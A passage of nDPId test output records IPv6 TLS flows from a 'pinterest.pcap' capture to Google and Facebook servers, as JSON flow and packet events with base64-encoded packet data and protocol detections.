AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00830{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2792,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":4,"flow_first_seen":1605289715133,"flow_last_seen":1605289715212,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:816::2003","src_port":51582,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.gstatic.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00516{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2896,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1605289715221,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:806::200e","src_port":54416,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00469{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2896,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289715,"pkt_ts_usec":221747,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gDRmqACgGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBgAAAAAAACAO1JABu7b0CzwAAAAAoAL9ILgWAAACBAWgBAIICnB0noAAAAAAAQMDBw=="} +00459{"flow_id":17,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3283,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289715,"pkt_ts_usec":257682,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgWAAAAAAAAIAMqAcsBIEmLB5kd7IUo3\/YpAbvJfoEpGV\/hz5v9gBALMCzUAAABAQgKwrkmIDiITlc="} +00470{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3385,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289715,"pkt_ts_usec":273354,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoAFFBABwgGAAAAAAAAIA4qAcsBIEmLB5kd7IUo3\/YpAbvUkNYqBSe29As9oBJXgJmfAAACBAV4AQMDAwQCCArCuSYncHSegA=="} +00457{"flow_id":18,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3387,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289715,"pkt_ts_usec":273482,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDRmqACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBgAAAAAAACAO1JABu7b0Cz3WKgUogBAB+x19AAABAQgKcHSetMK5Jic="} +01151{"flow_id":18,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3394,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289715,"pkt_ts_usec":274121,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gDRmqAiUGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBgAAAAAAACAO1JABu7b0Cz3WKgUogBgB+5ZOAAABAQgKcHSetcK5JicWAwECAAEAAfwDA\/Wo9zH9kIsC3p0+x0Ogp3CBXjA+aSeyGzEE6vb9ZTk9IJABGD2ndVeTf+odvyDjSMzv7BNGBBHaaAJBgxYc9sAYACDKyhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZOqqgAAAAAAFAASAAAPYXBpcy5nb29nbGUuY29tABcAAP8BAAEAAAoACgAIqqoAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArACmqqgABAAAdACB2WXZxKMS9tF781JcLrIeE0V3s7s7Xei6L\/wVkpPzjGAAtAAIBAQArAAsK+voDBAMDAwIDAQAbAAMCAALq6gABAAAVAM0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00830{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3394,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":4,"flow_first_seen":1605289715221,"flow_last_seen":1605289715274,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:806::200e","src_port":54416,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"apis.google.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00522{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3395,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1605289715274,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a03:2880:f030:13:face:b00c::3","src_port":51292,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00470{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3395,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289715,"pkt_ts_usec":274358,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gCiKuACgGQCoBywEgSYsHmR3shSjf9ikqAyiA8DAAE\/rOsAwAAAADyFwBu3K5vIYAAAAAoAL9IIqeAAACBAWgBAIICrhM3AoAAAAAAQMDBw=="} +02101{"flow_id":17,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3513,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289715,"pkt_ts_usec":287643,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgWAAAAAAAAIAMqAcsBIEmLB5kd7IUo3\/YpAbvJfoEpGV\/hz5v9gBgLMOvzAAABAQgKwrkmKDiITlcWAwMAegIAAHYDA2ZkFL9Vziij868SAqxb7S80ZJVwgmiW6W5w2unuytv8IHiamGncKVvaC4Qe+Wkd02CeOTDRVPAoUdvjHzZzHWAnEwEAAC4AMwAkAB0AILKYZg9SAvoS4s5C5CcrVIvT1SuQltVH4MWcqTKAvvdWACsAAgMEFAMDAAEBFwMDCfS25\/866G\/7XaZ4XHh\/djGxq\/IGxsC5TLJrmVKlrth4JC5vEn\/1pde5T7LEH1IIpGvtyQevttot4H907FdSIOAMtMVtlh0y84L98pL61F8rnBIhHPMgIYZziKcFrp\/gqYgnq2SoFrb\/VAGumm1mP7\/yefW7XKslU20Nh+IqbfCQp0a8z+QZzLlzi60Ra2kHHCeNxnhAfRhRGwWdU94WQ64GRdx4\/Mtd4thrBnG2FTzICyNG\/JlkKhNz8\/TQvxG4hwdz0jHqpnJCXZZGAIExnjZEVSKW+vgvDa6VmSN1ojQJviThR92Pf6QD3LMV9+Mh4TQzXd8grQY+tolmPry9bUUC3y+0I6aYVAnY+WnN9a2AjLmOg3euMR31hmpzzWM3+ESN26HiMLxFC2jlCB3tdRS2Jbcewf1UCLzQN5ymV6EmpaWyC5OcD1+M4j3YpXZAb7m6mgNHCMAV+AFT+SsLGUXF1OndqmZvaseZzocS6LVUYMPjEFdWezrBYps7uZaDAMpFQks2v9bobnVqzcVJVMmzjfNCj7neR91xF1pkt8qVQThs4k94SzBbj8co7qH4A8INXvyXXGjnFfd+uTMtzWnoHPUfRHIi4XHyPx5o7nJ7kQFWEuH79LjhQdyNEw7bIe\/uqHu5nAPbjmwlPG\/YpnQQOLq1j6AHn9E7EqAGj2oK1T2nKYypAfe0GcwSqPjjXYCPEJUa1vRGzle4rsG1ZaQ3bvqgQEWVnYBVJVckWfhHkndsLMqIqlrRjCKyCiU+Rb36fVVCBc08w3dtCRKgI0Oz2I1l9C0DsXGjDvSlJ9tXnxK8\/BkO74ctzVulUiUS9gQ\/dObtKeynNpxblFWeyajDxLUQrFHr0Ix6vXQMiWOsFdb0uDd3pheIr2j48tND04WrIqll9hDJ+D+RtiREeq2Xpbq\/G4SjEMzOjOLEckQ2graRgblqeYQnaezWm0RPfXmGK74zYL27odlW1yFgJsCGm84csEYGFsJKX3xBhtMZuF\/\/629jCjFymWzp6\/9YfLdQ8ZKpt4WqnBpnK5jxpgSgnHv19wmRjL+p0UtXxa18GO5ZhrYsPWBkY0sL73KvEgnpHSqahoRav\/kreIDFcbrEFZX4Cq83imqJI5eMQJlMtC4lGC2tN01+nOIJqr5LIqEGBt1vdrwyLhuEdEI7xHGwqlIh\/IgGx1UrXwVn8yDr0eepd33SLdEDJFO1i5ym+JERLNZqRsQmV+f30JWRSevV5hfqB\/9tcacdETAJ4z9RmviLHVGDMkl9RDq6SJt9ZID\/GCOMn4m99P0CeVhUbQ6HkYKhhaLq8Ee2RxhaYHcOOQiHRPn9fsK9pk6HiK+H4yZxyQ605cdXbahgy\/0wlqKmgMBlsL9GkmwW4vBVyAcNjarOTAMvekd6KzALFfpWzqgTrlp+H26V1l+33JPqBQ=="} +00871{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":3513,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":6,"flow_first_seen":1605289715133,"flow_last_seen":1605289715287,"flow_tot_l4_data_len":1933,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":322,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:816::2003","src_port":51582,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"www.gstatic.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02093{"flow_id":17,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3514,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289715,"pkt_ts_usec":287643,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgWAAAAAAAAIAMqAcsBIEmLB5kd7IUo3\/YpAbvJfoEpHhfhz5v9gBgLMKlnAAABAQgKwrkmKDiITleraVZejVPF72U6NA3TWhkaFHXFswhiKvNAK6jSjaBm4dZ+hG1H06hRtFBeekWhokNmX9y3\/GM5ooJuxJCmt\/6gqgSiTbIlSc0O5gdvfLBI2TGTC5WO6QFeZEcm9u33rPtfen1Ffb4KzYIT2Bi06KuiPrgE+CNWsqnUrfMFljiryLMi1me+2RpTL1wITFSPke1pQe+sn1nXoo2dkaj76JQJXujMjOH+nLY39ho0Vla7puLCX+dGRfDvQXLmWoDjowjtWNN3jnQAxrftX+updqnYhk6CyvvLn8+VDzXEGZlKD6WUUUiD8rTFZaHBG7C9tqqGu0CCdzohZKLmQFCcv+FwSPhHtLXbSRzH8mTjdCJ65Omr0em1yVFCScbkgwZRz86fJqhk1qBGdFjaFGWpCmw5m+6xzXaVx3357t4RUbuf6mFAst9zM6wCdAp8F8VdX7teCHGVkRaGmrH94E5h1RkCOrkkj6EQJHyoFcSWJ4bNK6lm2uooy5BGJYDCcTYFERlctLr6MEa2TEBahg7K\/yeDzkfp4KLdgtFwLl846KWg2XRnwjFuRDtdeV4gS6uuNCK+pgH7cxZrob7Jtj4qdHJLJbj5LtCs6BNWA9btE8MHyeNBc+\/H4qoCZNgaJeFsItBVIN\/g5HWJsONY3cJbw\/Y1uKJSsEm6sLDy7tMR5tIkq3g9wTl0LGY31SjHEBoTQg8oLGxds92xgiyRwLyrNFk4LuEtX5+m+EbXbgVusBMZED\/u0eNx1Dr7dyjj5m2RJpEK0S3chxMbpp52PheTq5F+Dk6eQ9V4frkhuEqpSUPeXk1W9Y3vyqtJsv+r05vnEPSX3YD70BwYSPWREkZGilhle+MGNYm78W\/u3zBi6pO+yzl2nJSzbGcO274hpEvlvVfN7TudLtdQO9xMJlK2YayHsyhmpX5rQ5G59QhH2JJWDEPAeZ1jaFUc5a+sYSe28+5Pw+oW2EJ+1p9sKDxoPmbs8zeWagrZVfOREZw3qH7uuwt8apfslkKZrix8oYETwFsunLNU6hU3xheiGTIdtZXYyxKwqmT+IYQEu1urRms877jKv9ngKXVET17zuNbxPH6RAtoHOzP\/6LGNlgXDWuW5sKDzVm3ex2hKCcKiYH5mCZ8HzL8OJp4jyZpHNjSmJHO8QpBNfpz0QudewmyGnTcSpRSoahWarBkNg2T81KvS\/S0ryyDicuT9TIaRHvvjZVsS2d06obWVf0gNGTbjGbPYMsewfzTlXhpwyivLSvZCXsgX5QQAsrDZ9CivPVsyWUDE163QcKx9dkSGOrofbrWpbltEu2zFdgYxqjE6I60bQG1EV5e4shanr+2qoEDVDWK\/8EQElXSo6Cta1D6G1TBzpRZF0js+oT4B\/EVyPas01yK5GUawje7Slw5c\/wEAIgj4lKAbxz1CRAWXw4R90BqemvnOghBR2sFy6lW6cRfivz9AEZx+g1arDRbRK\/xdKPwE9QwkAH\/yo7C2axl+dVgT9OKqYxz9Jtpne0M8shIJ\/\/lsV5CXX4IaQUe2cK5HZYYGDF7u5ePTAckzURJNlyEnrl6OZ6o+mT9kv+Ue+3wipuyhHrOSGungTMwAarVPktkO577+fSPUDg=="} +00831{"flow_id":17,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3515,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289715,"pkt_ts_usec":287643,"pkt_caplen":356,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":356,"pkt_l4_len":302,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAS4GPSoAFFBABwgWAAAAAAAAIAMqAcsBIEmLB5kd7IUo3\/YpAbvJfoEpIs\/hz5v9gBgLMFpYAAABAQgKwrkmKDiITleJJNP\/oxaYBt8C5jsvVNIfMpB25\/w+YzUKrapMlVZbDQwylrG2pBgCPCghfHhset3jvV+DDf6jJebPmFOHFE\/8EC\/fWupIcvqWllrHdAro7EdltndKYcT6WpToaUtPicAvDtbU0GrelvJAloWstPRofb0n+NGjNz8lr3eQddIKsFCMe5qY3QggpcCAt\/uKZahD7z4TOINNqtrr2f6gkD0Wm+CVS89JDmp5A8PdLq6hb\/bvOGFfC1NncmeBX1A3jf\/aNDp88ZY\/ZQJYJ3ftYThrSEdRZcs0SdL3ckWZ04R2n8cX88+AZE2KG7QwmzCr2g\/I3dqOqsPXIZPnUV481NuR7onLj2QLCpUlELGnFV8="} +00458{"flow_id":17,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3517,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289715,"pkt_ts_usec":287651,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAUyOACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFgAAAAAAACADyX4Bu+HPm\/2BKR4XgBAB8jEHAAABAQgKOIhOosK5Jig="} +00459{"flow_id":17,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3518,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289715,"pkt_ts_usec":287657,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAUyOACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFgAAAAAAACADyX4Bu+HPm\/2BKSLPgBAB6SxYAAABAQgKOIhOosK5Jig="} +00459{"flow_id":17,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3519,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289715,"pkt_ts_usec":287659,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAUyOACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFgAAAAAAACADyX4Bu+HPm\/2BKSPdgBAB5ytMAAABAQgKOIhOosK5Jig="} +00545{"flow_id":17,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3536,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289715,"pkt_ts_usec":289769,"pkt_caplen":150,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":150,"pkt_l4_len":96,"pkt":"qtsDr8lk5EKm5WPyht1gAUyOAGAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFgAAAAAAACADyX4Bu+HPm\/2BKSPdgBgB9epxAAABAQgKOIhOpMK5JigUAwMAAQEXAwMANWCi9ROjTy+fQr39paPtxzeUgRvKTnLDMHFxfaVlGDS8h2Zji7023fksYxDF78c0E9e9+eyj"} +00590{"flow_id":17,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3537,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289715,"pkt_ts_usec":290346,"pkt_caplen":178,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":178,"pkt_l4_len":124,"pkt":"qtsDr8lk5EKm5WPyht1gAUyOAHwGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFgAAAAAAACADyX4Bu+HPnD2BKSPdgBgB9cWkAAABAQgKOIhOpcK5JigXAwMAV+QHUSuqz\/ajE70\/8PpdIEDlb80X31IgZ8JYZm\/qLWGMc6UGiusoxVzyrbcceWQ1hHQoDarZ8WmX9Y\/bSCY\/GSvJ+MT2CTn+EVLERgcCzHMKNH2OaFpzaA=="} +00887{"flow_id":17,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3574,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289715,"pkt_ts_usec":291964,"pkt_caplen":400,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":400,"pkt_l4_len":346,"pkt":"qtsDr8lk5EKm5WPyht1gAUyOAVoGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFgAAAAAAACADyX4Bu+HPnJmBKSPdgBgB9XV9AAABAQgKOIhOpsK5JigXAwMBNS+SRFjdypJHsp6ueUdUlPyZqCtDvbG6XTp1MMFAxlT53QAu+UISF06xUMb\/Vx+NloxY4kERHG04INzsQ6IMk6pzVZg\/Z+YRHEWCm9JGVxYpg8gPpdzFKQWXxIAqz11Ab8W2vX0rRRUBHW480xs7saL2nfoe2vbUQ0sADoVyjXqB\/dgM8lcTwQn2heeDJX+5+MEOMWtD4qumHO7HHOW\/KxBBS3RX6v0HcxjvMWT1PMAOLEaQSh59ZIBQYvZCsO9XeOvv9fM9tEBpxLG\/fZ5bhCYInxGBH49UCHG+RoPvesWOI8ummN3D16wqK549r370bqdkXNBIkRAEyDL6NgYqwLu\/eoU35msf6a3cyGLxT8gt1PfXqiFbpuuSF1Fj8ShhJVwAfTXftqNRUQsKmpvyjJsHPzumKg=="} +00470{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3659,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289715,"pkt_ts_usec":301345,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoDKIDwMAAT+s6wDAAAAAMqAcsBIEmLB5kd7IUo3\/YpAbvIXBJtCi5yubyHoBJXgCqsAAACBAV4AQMDAwQCCArCuSZZuEzcCg=="} +00458{"flow_id":18,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3660,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289715,"pkt_ts_usec":301345,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgGAAAAAAAAIA4qAcsBIEmLB5kd7IUo3\/YpAbvUkNYqBSi29A1CgBALMBIOAAABAQgKwrkmW3B0nrU="} +00458{"flow_id":19,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3662,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289715,"pkt_ts_usec":301435,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCiKuACAGQCoBywEgSYsHmR3shSjf9ikqAyiA8DAAE\/rOsAwAAAADyFwBu3K5vIcSbQovgBAB+66iAAABAQgKuEzcJcK5Jlk="} +01154{"flow_id":19,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3667,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289715,"pkt_ts_usec":301671,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gCiKuAiUGQCoBywEgSYsHmR3shSjf9ikqAyiA8DAAE\/rOsAwAAAADyFwBu3K5vIcSbQovgBgB+0gHAAABAQgKuEzcJcK5JlkWAwECAAEAAfwDA5gekqpKhlC2ipL2zI8L5\/kv3e0nxnbXEmgavka1LHWVIBeXyfu8UN0TfZ\/W27lJZzaKDZAJHcd7oBhNLgsTwfr\/ACB6ehMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZNKSgAAAAAAGQAXAAAUY29ubmVjdC5mYWNlYm9vay5uZXQAFwAA\/wEAAQAACgAKAAi6ugAdABcAGAALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAADQASABAEAwgEBAEFAwgFBQEIBgYBABIAAAAzACsAKbq6AAEAAB0AIGc+3YDJXOpck3uyogqFw1bonkkYAWZ3xkO5tRdYSBRhAC0AAgEBACsACwoaGgMEAwMDAgMBABsAAwIAAurqAAEAABUAyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00849{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3667,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":4,"flow_first_seen":1605289715274,"flow_last_seen":1605289715301,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a03:2880:f030:13:face:b00c::3","src_port":51292,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Facebook","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"connect.facebook.net","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02103{"flow_id":18,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3797,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289715,"pkt_ts_usec":321807,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgGAAAAAAAAIA4qAcsBIEmLB5kd7IUo3\/YpAbvUkNYqBSi29A1CgBgLMNhcAAABAQgKwrkmYXB0nrUWAwMAegIAAHYDA4sZiB459qWF\/PHwfNqbJKTkMFgLqA7ZYyeATNloHO5aIJABGD2ndVeTf+odvyDjSMzv7BNGBBHaaAJBgxYc9sAYEwEAAC4AMwAkAB0AIDvPbOxW0+HAD\/cpkETnJFbuMP\/D\/41mS6DiCYn0OA8yACsAAgMEFAMDAAEBFwMDCdYi4qbW+gcv6snP1uLW9DrXNnZg6SNprBV\/05woDwBmNfZu5vFj\/aZ0Y4KFsvewaw4slvHR6E+eDAdS8qp\/55B9D0SoIR8xXW4mHMDLM4qNUngqUtjc07iIzKUqgMnMSyiJr+f6b0on5MmxUIY7OBYN3C\/TbVxRi92LjS2FQ1Pyf2DbLB7VBCbqMwuU5kWr\/ZDj1H12FEK3LRlAQk3THoRIV43ZkREPe6wKUZBkpu5rNQkOGLpJ6BAuC\/05O6pJNlglLbr41CzTmwiQ2fJyij8dnG8e\/8FbTboFul6RNUpf935uA45i20d92t8vQv6rEpkg2ACLy+XE9Q3scUa56WwU3DHZ+maCEvzeoshPlfRzwg\/pLv9vw01VufAIXJji8FnwgXeAQMhE7cxmaMnlClIYtXqnSyirVT1kIoPnEW0WvhgoPxo3BOJsfphiKGaIAIQeW1VUwicVGO